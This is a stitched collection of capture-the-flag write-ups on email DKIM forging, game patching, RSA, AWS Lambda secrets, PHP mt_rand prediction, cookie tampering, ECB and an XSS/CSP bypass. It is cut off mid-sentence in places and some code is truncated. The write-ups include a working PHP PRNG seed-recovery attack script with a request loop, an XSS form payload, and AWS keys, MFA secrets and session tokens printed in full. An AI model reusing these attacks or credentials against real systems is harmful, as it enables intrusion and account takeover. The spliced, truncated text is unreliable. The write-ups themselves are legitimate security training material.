Here is the output from our first few files.```FILE: mail/c9f01.eml --- Error verifying DKIM body hash mismatch (got b'KSjh/SWf9CoOfANlP1JwziULd7TJwo2jAXdS6WxxiXk=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=') FILE: mail/483c0.eml --- Error verifying DKIM body hash mismatch (got b'NPfXTjlgeHmYX3XL505Y9ZlDsWR/nKofQRnlX2Eg+Vk=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')FILE: mail/e1262.eml --- Error verifying DKIMbody hash mismatch (got b'IwEUYGwkRHvyIUocHDTn1mq653UyllFukFAsC7/bewY=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')FILE: mail/a9331.eml --- Error verifying DKIMbody hash mismatch (got b'2kwfDpgExCVsPaquMn2PMAqKf/UEuOQneY6YpVutQ+U=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')FILE: mail/c65c1.eml --- Error verifying DKIMbody hash mismatch (got b'GGvQpfeY8Vzvfms3TWn1TsYW2Ws4CKhenm26CVZ7kCs=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')```----
After a few minutes we get a hit. Here is the output leading up to the valid `.eml`.```FILE: mail/3c586.eml --- Error verifying DKIM body hash mismatch (got b'DopvYFdcPVYCj2nGEr3Jdll+EK7xiVVk33K/6xRJp90=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')FILE: mail/06570.eml --- Error verifying DKIM body hash mismatch (got b'uJ/mmb0346p2GMzAqGnz/6hn5G0cL/jiotY2dl2tBJk=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')FILE: mail/438b5.eml --- DKIM verified successfully ```
Now we can check which flag is in `438b5.eml`.```grep -oP "(KCTF{.*})" mail/438b5.eml KCTF{1f8e659e892f2b2a05a54b8448ccbff9}KCTF{1f8e659e892f2b2a05a54b8448ccbff9}```Here we have our flag! `KCTF{1f8e659e892f2b2a05a54b8448ccbff9}` |
[Original Writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/diceCTF23/rev/parallelism/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/diceCTF23/rev/parallelism/README.md) |
# Challenge
LovR is a fun game to play. Reach a certain level to see the hidden way.
ATTENTION: This Challenge does not use our flag format.
# Solution
We are presented with a game called match_3 created by the LÖVE game engine.
After googling a little, we see that we can obtain the source code of the game just by unzipping it. Unfortunately no flag hides in plain text.
However, after playing the game for a while, we notice a strange static on load

(Note: some text seems to be hidden under the static but this is not very clear from the image)
So, we need to find what happens when we start the game. This is documented on script BeginGameState.lua and more specifically at function:
```Lua
function BeginGameState:render() self.board:render(self.myAlpha)
love.graphics.setColor(95/255, 205/255, 228/255, 200/255) love.graphics.rectangle('fill', 0, self.levelLabelY - 8, VIRTUAL_WIDTH, 48) love.graphics.setColor(1, 1, 1, 1) love.graphics.setFont(gFonts['large']) love.graphics.printf('Level ' .. tostring(self.level), 0, self.levelLabelY, VIRTUAL_WIDTH, 'center') love.graphics.draw(gTextures['dots'],0,30,0,0.19,0.2) if self.level == 10 then love.graphics.draw(gTextures['chars'],gFrames['char'][11],self.xxx,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][16],self.xxx+16,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][9],self.xxx+32,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][22],self.xxx+48,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][15],self.xxx+64,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][13],self.xxx+80,35,0,0.5,0.5)
love.graphics.draw(gTextures['chars'],gFrames['char'][28],self.xxx+112,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][31],self.xxx+128,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][13],self.xxx+144,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][13],self.xxx+160,35,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][22],self.xxx+176,35,0,0.5,0.5)
love.graphics.draw(gTextures['chars'],gFrames['char'][28],self.xxx,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][23],self.xxx+16,53,0,0.5,0.5)
love.graphics.draw(gTextures['chars'],gFrames['char'][27],self.xxx+48,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][13],self.xxx+64,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][13],self.xxx+80,53,0,0.5,0.5)
love.graphics.draw(gTextures['chars'],gFrames['char'][14],self.xxx+112,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][20],self.xxx+128,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][9],self.xxx+144,53,0,0.5,0.5) love.graphics.draw(gTextures['chars'],gFrames['char'][15],self.xxx+160,53,0,0.5,0.5) end love.graphics.draw(gTextures['dots2'],0,180,0,0.19,0.2) love.graphics.draw(gTextures['chars'],gFrames['char'][14],self.xx,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][20],self.xx+16,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][4],self.xx+32,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][15],self.xx+48,185,0,0.75,0.75) love.graphics.draw(gTextures['slay'],self.xx+64,205,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][28],self.xx+80,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][31],self.xx+96,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][3],self.xx+112,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][3],self.xx+128,185,0,0.75,0.75) love.graphics.draw(gTextures['chars'],gFrames['char'][22],self.xx+144,185,0,0.75,0.75) love.graphics.setColor(1, 1, 1, self.transitionAlpha) love.graphics.rectangle('fill', 0, 0, VIRTUAL_WIDTH, VIRTUAL_HEIGHT) end
```
If we delete the lines:```Lualove.graphics.draw(gTextures['dots'],0,30,0,0.19,0.2)love.graphics.draw(gTextures['dots2'],0,180,0,0.19,0.2)```
We can patch the level check (if self.level == 10) to if self.level == 1, so that another line of text will be generated:
We then recompile the game, we view the screen:

So the flag is FL4G_TW33N!! |
# Challenge Description
Bob is hosting a party and invited everyone but me. But all the invitations I can collect are encrypted.
# SolutionThe challenge files contain the source code.We can see this is another RSA challenge that includes some weird custom padding:```pythondef MGF(seed, length): random.seed(seed) return [random.randint(0,255) for _ in range(length)]
def pad(stream, bitlength, tag = b''): seed = sha256(stream).digest() DB = sha256(tag).digest() + b'\x00' * ((bitlength - 16 - 2*hLen) // 8 - len(stream)) + b'\x01' + stream mask = MGF(seed, len(DB)) maskedDB = [DB[i] ^ mask[i] for i in range(len(DB))] seedmask = MGF(bytes_to_long(bytes(maskedDB)), hLen // 8) masked_seed = [seed[i] ^ seedmask[i] for i in range(hLen // 8)] EM = [0] + masked_seed + maskedDB return bytes(EM)
key = RSA.generate(N, e = (1<<(1< |
# Challenge
So many options to make sure everything stays as it is. Let's use them all.
# Solution
We are presented with two files:
- exposed-user-credentials.txt- policy-exposed-user.json
The first file contains some credentials which after googling a bit correspond to these respective categories:
```AWS Access Key ID: AKIA22D7J5LEAGT3CKGPAWS Secret Access Key: ByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3Mfa Device Hardware Token: E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJVMfa Serial Key: arn:aws:iam::743296330440:mfa/mfa-exposed-user```
First of all we configure the aws user with the command ```aws configure --profile mfa-exposed-user```
In order to be able to access aws with user mfa-exposed-user, we need a session token. For that a token code is needed. Fortunately, using the mfa hardware token we cangenerate TOTP keys using the website
The command to get a session token is the following: [https://www.token2.com/site/page/totp-toolset](https://www.token2.com/site/page/totp-toolset)``` aws sts get-session-token --serial-number 'arn:aws:iam::743296330440:mfa/mfa-exposed-user' --token-code <TOTP_CODE> --profile mfa-exposed-user```
Which returns us some credentials and a session-token.We can now create the user mfa by adding the following lines in the credentials file
```[mfa]aws_access_key_id = ASIA22D7J5LEHSZ5MO6Yaws_secret_access_key = Cb9QbakPmXIW86kgM0r30fRXcGyY7veOWWk3KkVBaws_session_token = FwoGZXIvYXdzEMT//////////wEaDFb1WHkN6LX18wD35SKGAbVCK40Ux8/HguSIcusRpnhNmPC0QKd7iE5Whzp6+E7aLgT4OVHLAMGOEI0DSj9kH5Sur+Ohr08SD4MU0jEhRg088S3W7kQ76s+lCNWdIafus3WaY5V2tm+sw4PuGCh4HKDieaNsEWRVvkZhD7iZGUXjIp2d5iskcBNpRZJA1o2zxUDrAzOjKIStqqAGMigEX+xgyWIragX5Zl3LSm6o1fbsHKiYGXyeXcZC7sbIs4wZ5sxntaZq```Ok so now we can review the user policy:
```JSON{ "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "lambda:GetLayerVersion", "lambda:GetFunction", "lambda:GetLayerVersionPolicy" ], "Resource": "*", "Condition": { "Bool": { "aws:MultiFactorAuthPresent": "true" } } }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "lambda:UpdateFunctionCode", "lambda:InvokeFunction" ], "Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret", "Condition": { "Bool": { "aws:MultiFactorAuthPresent": "true" } } } ]}```
As we can see, we can invoke GetFunction on every function we know but we only know of arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret. Notice the eu-central-1 partwhich we will need to set as region in order to be able to access the resource.
By calling:
```aws lambda get-function --function-name lambda-confirm-secret --profile mfa```
we get the output:
```JSON{ "Configuration": { "FunctionName": "lambda-confirm-secret", "FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret", "Runtime": "python3.9", "Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1", "Handler": "lambda_function.lambda_handler", "CodeSize": 693, "Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ", "Timeout": 3, "MemorySize": 128, "LastModified": "2023-03-09T10:15:31.000+0000", "CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 }, "SnapStart": { "ApplyOn": "None", "OptimizationStatus": "Off" } }, "Code": { "RepositoryType": "S3", "Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0" }}```
We can and will download the function from the link given, which gives us the following:
```Python import jsonimport hashlibimport boto3from botocore.exceptions import ClientErrorimport base64
def lambda_handler(event, context): flag = get_secret() m = hashlib.sha512() m.update(flag.encode('utf-8')) #b"Nobody inspects") hash = base64.b64encode(m.digest()) if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==': message = "[*] Secret value confirmed" else: message = "[!] WARNING: SECRET VALUE could not be confirmed!" return { 'statusCode': 200, 'body': json.dumps(message) }
def get_secret():
secret_name = "flag1" region_name = "eu-central-1"
session = boto3.session.Session() client = session.client( service_name='secretsmanager', region_name=region_name )
try: get_secret_value_response = client.get_secret_value( SecretId=secret_name ) except ClientError as e: raise e
return get_secret_value_response['SecretString'] ```
This function seems to hash our input and compare it against a value which unfortunately cannot be reversed.
After a while we noticed that two other functions are named in the description of lambda-confirm-secret
```Descrption: lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets```
The first one is not something special, but the second seems very interesting:
```Pythonimport jsonimport hashlibimport boto3from botocore.exceptions import ClientErrorimport base64
def lambda_handler(event, context): flag = get_secret() m = hashlib.sha512() m.update(flag.encode('utf-8')) #b"Nobody inspects") hash = base64.b64encode(m.digest()) if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==': message = "[*] Secret value confirmed" else: message = "[!] Secret has been changed!" correct_secret() return { 'statusCode': 200, 'body': json.dumps(message) }
def get_secret():
secret_name = "flag1" region_name = "eu-central-1"
session = boto3.session.Session() client = session.client( service_name='secretsmanager', region_name=region_name )
try: get_secret_value_response = client.get_secret_value( SecretId=secret_name ) except ClientError as e: raise e
return get_secret_value_response['SecretString']
def correct_secret(): secret_name = "flag1" region_name = "eu-central-1"
session = boto3.session.Session() client = session.client( service_name='secretsmanager', region_name=region_name )
response = client.put_secret_value( SecretId=secret_name, SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))```
Function correct_secret secret seems to contain in b64 the correct secret which after decoding gives us the flag: ENO{N0_Ed1t_St1ll_Vuln} |
# Challenge DescriptionWARNING: only psychics and wizards will be able complete this one
sorry :/52.59.124.14:10012# Solution
In this challenge we have a web service that runs a php script (index.php).We first this line```php if ($_SERVER["REQUEST_METHOD"] == "POST" && $_SERVER["REQUEST_URI"] == "/submit") {```When we send a request that is not a post requst to the route: `/submit` (either a get request to this route or any request in another route) it execues the following:```php { srand(random_int(0, 4294967295));
$t = time(); echo strval($t) . "\n";
echo strval(rand()) . "\n"; for ($i = 0; $i < 300; $i++) { if (($i % 60) == ($t % 60)) { echo strval(rand()) . "\n"; } else {fit rand(); } }
$_SESSION["next"] = rand(); $_SESSION["expiry"] = time() + 60;
echo "Good luck :P"; }```The previous code ( from now on Initialization) gets a (cryptographically secure) random seed from 0 to 4294967295 and generates 301 (non cryptographically secure) integers.
From those it shows on the page only the first random number and those that their index(i) is the same modulo 60 as the time the Initialization started like so:
```1678892907 496134670 80709468 919957814 2116517071 145427214 1291083934 Good luck :P```
The first number represents the timestamp (t) of the time the script started and the next numbers are those with i%60 == t%60
sets to variables for the session. One specifies when the sessioin expires, and is initialized to 60 seconds after the script ends and one that stores the next random number (`"next"`).
When we send a post request to the `/submit` route it executes the following:```php { if (!isset($_SESSION["expiry"])) { echo "Invalid session!"; return; }
if (time() > $_SESSION["expiry"]) { echo "You're too slow!"; return; }
echo $_SESSION["next"]. " " . $_POST["next"] . "\n"; if (intval($_POST["next"]) != $_SESSION["next"]) { echo "Wrong prediction!"; return; }
echo "FLAG " . getenv("FLAG");```
If the session is initialized and not expired (current time < 60+ initialzation time) it checks whether the `"next"` value of the request is the same as the `"next"` value of the session , meaning the next random number.
This way we cannot generate enough numbers to get the state using **randcrack** like the previous challenge. We use a different method.
We have the following script:
solve.py```python#!/usr/bin/env python3.7# Charles Fol# @cfreal_# 2020-01-04 (originally la long time ago ~ 2010)# Breaking mt_rand() with two output values and no bruteforce.#"""R = final rand valueS = merged state values = original state value"""
import randomimport sys
N = 624M = 397
MAX = 0xffffffffMOD = MAX + 1
# STATE_MULT * STATE_MULT_INV = 1 (mod MOD)STATE_MULT = 1812433253STATE_MULT_INV = 2520285293
MT_RAND_MT19937 = 1MT_RAND_PHP = 0
def php_mt_initialize(seed): """Creates the initial state array from a seed. """ state = [None] * N state[0] = seed & 0xffffffff; for i in range(1, N): r = state[i-1] state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX return state
def undo_php_mt_initialize(s, p): """From an initial state value `s` at position `p`, find out seed. """ # We have: # state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000 # and: # (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse) # => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000) for i in range(p, 0, -1): s = _undo_php_mt_initialize(s, i) return s
def _undo_php_mt_initialize(s, i): s = (STATE_MULT_INV * (s - i)) & MAX return s ^ s >> 30
def php_mt_rand(s1): """Converts a merged state value `s1` into a random value, then sent to the user. """ s1 ^= (s1 >> 11) s1 ^= (s1 << 7) & 0x9d2c5680 s1 ^= (s1 << 15) & 0xefc60000 s1 ^= (s1 >> 18) return s1
def undo_php_mt_rand(s1): """Retrieves the merged state value from the value sent to the user. """ s1 ^= (s1 >> 18) s1 ^= (s1 << 15) & 0xefc60000 s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680) s1 ^= s1 >> 11 s1 ^= s1 >> 22 return s1
def undo_lshift_xor_mask(v, shift, mask): """r s.t. v = r ^ ((r << shift) & mask) """ for i in range(shift, 32, shift): v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i return v
def bits(v, start, size): return lobits(v >> start, size)
def lobits(v, b): return v & ((1 << b) - 1)
def bit(v, b): return v & (1 << b)
def bv(v, b): return bit(v, b) >> b
def php_mt_reload(state, flavour): s = state for i in range(0, N - M): s[i] = _twist_php(s[i+M], s[i], s[i+1], flavour) for i in range(N - M, N - 1): s[i] = _twist_php(s[i+M-N], s[i], s[i+1], flavour)
def _twist_php(m, u, v, flavour): """Emulates the `twist` and `twist_php` #defines. """ mask = 0x9908b0df if (u if flavour == MT_RAND_PHP else v) & 1 else 0 return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask
def undo_php_mt_reload(S000, S227, offset, flavour): #define twist_php(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU)) # m S000 # u S227 # v S228 X = S000 ^ S227 # This means the mask was applied, and as such that S227's LSB is 1 s22X_0 = bv(X, 31) # remove mask if present if s22X_0: X ^= 0x9908b0df
# Another easy guess s227_31 = bv(X, 30) # remove bit if present if s227_31: X ^= 1 << 30
# We're missing bit 0 and bit 31 here, so we have to try every possibility s228_1_30 = (X << 1) for s228_0 in range(2): for s228_31 in range(2): if flavour == MT_RAND_MT19937 and s22X_0 != s228_0: continue s228 = s228_0 | s228_31 << 31 | s228_1_30
# Check if the results are consistent with the known bits of s227 s227 = _undo_php_mt_initialize(s228, 228 + offset) if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0: continue if bv(s227, 31) != s227_31: continue # Check if the guessed seed yields S000 as its first scrambled state rand = undo_php_mt_initialize(s228, 228 + offset) state = php_mt_initialize(rand) php_mt_reload(state, flavour) if not (S000 == state[offset]): continue return rand return None
def main(_R000, _R227, offset, flavour): # Both were >> 1, so the leftmost byte is unknown _R000 <<= 1 _R227 <<= 1 for R000_0 in range(2): for R227_0 in range(2): R000 = _R000 | R000_0 R227 = _R227 | R227_0 S000 = undo_php_mt_rand(R000) S227 = undo_php_mt_rand(R227) seed = undo_php_mt_reload(S000, S227, offset, flavour) if seed: return(seed)
def test_do_undo(do, undo): for i in range(10000): rand = random.randrange(1, MAX) done = do(rand) undone = undo(done) if not rand == undone: print(f"-- {i} ----") print(bin(rand).rjust(34)) print(bin(undone).rjust(34)) break
def test(): test_do_undo( php_mt_initialize, lambda s: undo_php_mt_initialize(s[227], 227) ) test_do_undo( php_mt_rand, undo_php_mt_rand ) exit()
#test()
if len(sys.argv) < 5: print('Finds out a PHP mt_rand() seed from two outputs of mt_rand()' ' separated by 226 other calls.') print('') print('Usage:') print(f' {sys.argv[0]} <rand_n+0> <rand_n+227> <n> <flavour>') print('') print('Parameters:') print(' rand_n+0: First random value') print(' rand_n+227: Second random value') print(' The second value comes 226 mt_rand() calls after the first.') print(' n: Number of mt_rand() calls in between the seeding and') print(' the first value (rand_n+0)') print(' flavour: 0 (PHP5) or 1 (PHP7+)')else: main(int(sys.argv[1]), int(sys.argv[2]), int(sys.argv[3]), int(sys.argv[4]))
```the main function of solve.py can predict the seed of the rng used by php using the first and the 227th number generated using this seed.
All we have to do now is try and get the service to generate numbers in such a timeslot that the index of the 227th (226 for the script) number has the same %60 as the timestamp, and thus is given to us.
we wrote the following script:
```pythonfrom foresight.php import randimport requestsfrom solve import main
s = requests.Session()while(True): l = s.post("http://52.59.124.14:10012").text# print(1) arr = l.split('\n') time = int(arr[0]) print(time % 60) inputs = [] j = 1 inputs.append(int(arr[1])) for i in range(300): if time % 60 == i % 60: j += 1 if i == 226: inputs.append(arr[j]) break if i < 250: print("lol") seed = main(int(inputs[0]),int(inputs[1]),0,7) print(seed) break continue
randomaki = input()
data = {"next":randomaki}
print(s.post("http://52.59.124.14:10012/submit",data=data).text)
```
this script reinitializes the state (by sending a post request to the main route instead of the / submit ) and gets the timestamp and the random generations from the response. It then runs a for loop from 0 to 300 and checks if the index that haas the same %60 as the timestamp us the desired 226. if this happened it prints the seed and sends the user input to the service.
after running this we get something like this:
```44444444444545454545454545454545454545454546lol1042126681
```
In an [onine php compiler](https://onlinephp.io/) we generate the first 302 numbers using the seed we got and put the last of them in the script we wrote.```php ```
After that we get the flag:
```44444444444545454545454545454545454545454546lol12265348361283606073FLAG ENO{M4sT3r_0f_R4nd0n0m1c5}``` |
# Challenge DescriptionHTTP requests and libraries are hard. Sometimes they do not behave as expected, which might lead to vulnerabilities.
# SolutionWe are given the Source Code of a web service.We have 2 python files, one for the frontent (app.py) and one for the backend (backend.py)
Looking at these lines :app.py:```pythonr = requests.Request("GET", "http://backend:8080/whoami", cookies=cookies, headers=headers)```backend.py:```[email protected]('/whoami')```
This means that the frontend (the page we are in) sends a get request to the backend including the cookies of the page.
In backen.py we also see:```python role = request.cookies.get('role','guest') really = request.cookies.get('really', 'no') if role == 'admin': if really == 'yes': resp = 'Admin: ' + os.environ['FLAG'] else: resp = 'Guest: Nope' else: resp = 'Guest: Nope' return Response(resp, mimetype='text/plain')
```
this means that the backends checks for the cookies named `role` and `really` and returns the flag if they have the values `admin` and `really` reppectivelly.
In our browser we open the Developer Tools and in Storage we create 2 new cookies : `role : admin` and `really : yes`. This way after reloading the page we get this:
``` textUsage: Look at the code ;-)
Overwriting cookies with default value! This must be secure!Prepared request cookies are: [('PHPSESSID', '137656440e0d78fa17a6c5cafa536c3b'), ('role', 'guest'), ('really', 'yes')]Sending request...Request cookies are: [('PHPSESSID', '137656440e0d78fa17a6c5cafa536c3b'), ('role', 'guest'), ('really', 'yes')]
Someone's drunk oO
Response is: Admin: ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}``` |
# Challenge Description
My brother thinks he's some kind of genius and stores his passwords in image files before encrypting them for "extra security". Its been getting on my nerves lately.
Please prove him wrong.# SolutionAhh the classic "ECB Penguin". This challenge illustrates the great deficiencies of the ECB mode.We used this [tool](https://doegox.github.io/ElectronicColoringBook/).And we get the flag: |
# California State Police
# This was a web challenge from LA CTF 2023.

## Analysis
We are provided with the source for `index.js`:
```javascriptconst express = require("express");const path = require("path");const { v4: uuid } = require("uuid");const cookieParser = require("cookie-parser");
const flag = process.env.FLAG;const port = parseInt(process.env.PORT) || 8080;const adminpw = process.env.ADMINPW || "placeholder";
const app = express();
const reports = new Map();
let cleanup = [];
setInterval(() => { const now = Date.now(); let i = cleanup.findIndex(x => now < x[1]); if (i === -1) { i = cleanup.length; } for (let j = 0; j < i; j ++) { reports.delete(cleanup[j][0]); } cleanup = cleanup.slice(i);}, 1000 * 60);
app.use(cookieParser());app.use(express.urlencoded({ extended: false }));
app.get("/flag", (req, res) => { res.status(400).send("you have to POST the flag this time >:)");});
app.post("/flag", (req, res) => { if (req.cookies.adminpw === adminpw) { res.send(flag); } else { res.status(400).send("no hacking allowed"); }});
app.use((req, res, next) => { res.set( "Content-Security-Policy", "default-src 'none'; script-src 'unsafe-inline'" ); next();});
app.post("/report", (req, res) => { res.type("text/plain"); const crime = req.body.crime; if (typeof crime !== "string") { res.status(400).send("no crime provided"); return; } if (crime.length > 2048) { res.status(400).send("our servers aren't good enough to handle that"); return; } const id = uuid(); reports.set(id, crime); cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]); res.redirect("/report/" + id);});
app.get("/report/:id", (req, res) => { if (reports.has(req.params.id)) { res.type("text/html").send(reports.get(req.params.id)); } else { res.type("text/plain").status(400).send("report doesn't exist"); }});
app.get("/", (req, res) => { res.sendFile(path.join(__dirname, "index.html"));});
app.listen(port, () => { console.log(`Listening on port ${port}`);});```
By studying this source, we can see that we have to submit a URL to the admin bot and, somehow, get it to POST to `/flag`, read the response (the flag) and exfiltrate it.
Visiting the challenge page shows:

You can type anything you want and click the button. The server will store your post associated with new UUID and redirect you to a URL like this that will return exactly what you posted:
https://california-state-police.lac.tf/report/c354c6ab-fcef-4020-92ce-4a19982ad88e
Clearly we have XSS. Normally, it would be trivial to post a script that would use `fetch()` to POST to `/flag` read the response and exfiltrate it. However, we have this Content-Security-Policy (CSP):
```default-src 'none'; script-src 'unsafe-inline'```
If you are new to CSPs, you can read all about it here:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
Key takeaways from this policy are:
- `script-src 'unsafe-inline'` - we are allowed to have inline javascript like `<script>alert(0)</script>` - `default-src 'none'` - **every other** `*-src` policies default to `none` . A few relevant examples: - `frame-src` - we cannot use `<frame>` or `<iframe>` - `connect-src` - we cannot connect to anything using functions like `fetch()`
## Obstacle 1
We know we need to get the admin bot to do a POST to `/flag`. Let's try to tackle that first.
Without the CSP, we would use `fetch()` to do the POST and read the response. But that is out.
How else can we do it?
Well, we know that the site **does** support POSTing via form because it lets us POST our payload. Let's craft a payload that has an html form that will POST to `/flag` along with a small script to click the submit button.
```html<form method="POST" action="/flag"> <input id="frog" type="submit" value="what?"></form><script>frog.click()</script>```
When we post the above content, it works! The form renders, the script clicks the button, the browser POSTs to `/flag` and it returns `no hacking allowed` (because we don't have the admin bot's cookie).
If we were to submit the URL for this payload to the admin bot, it would do the above and the flag would end up showing in the browser window.
Of course, this doesn't help us since we have no way to exfiltrate it. Still, it is progress.
If we were allowed to use an `<iframe>` then we could put the above in an iframe, the flag would appear there, and a script in the parent page could read it. Of course, the CSP prevents this.
After a while, we thought of the idea of opening a child windows instead of using an iframe.
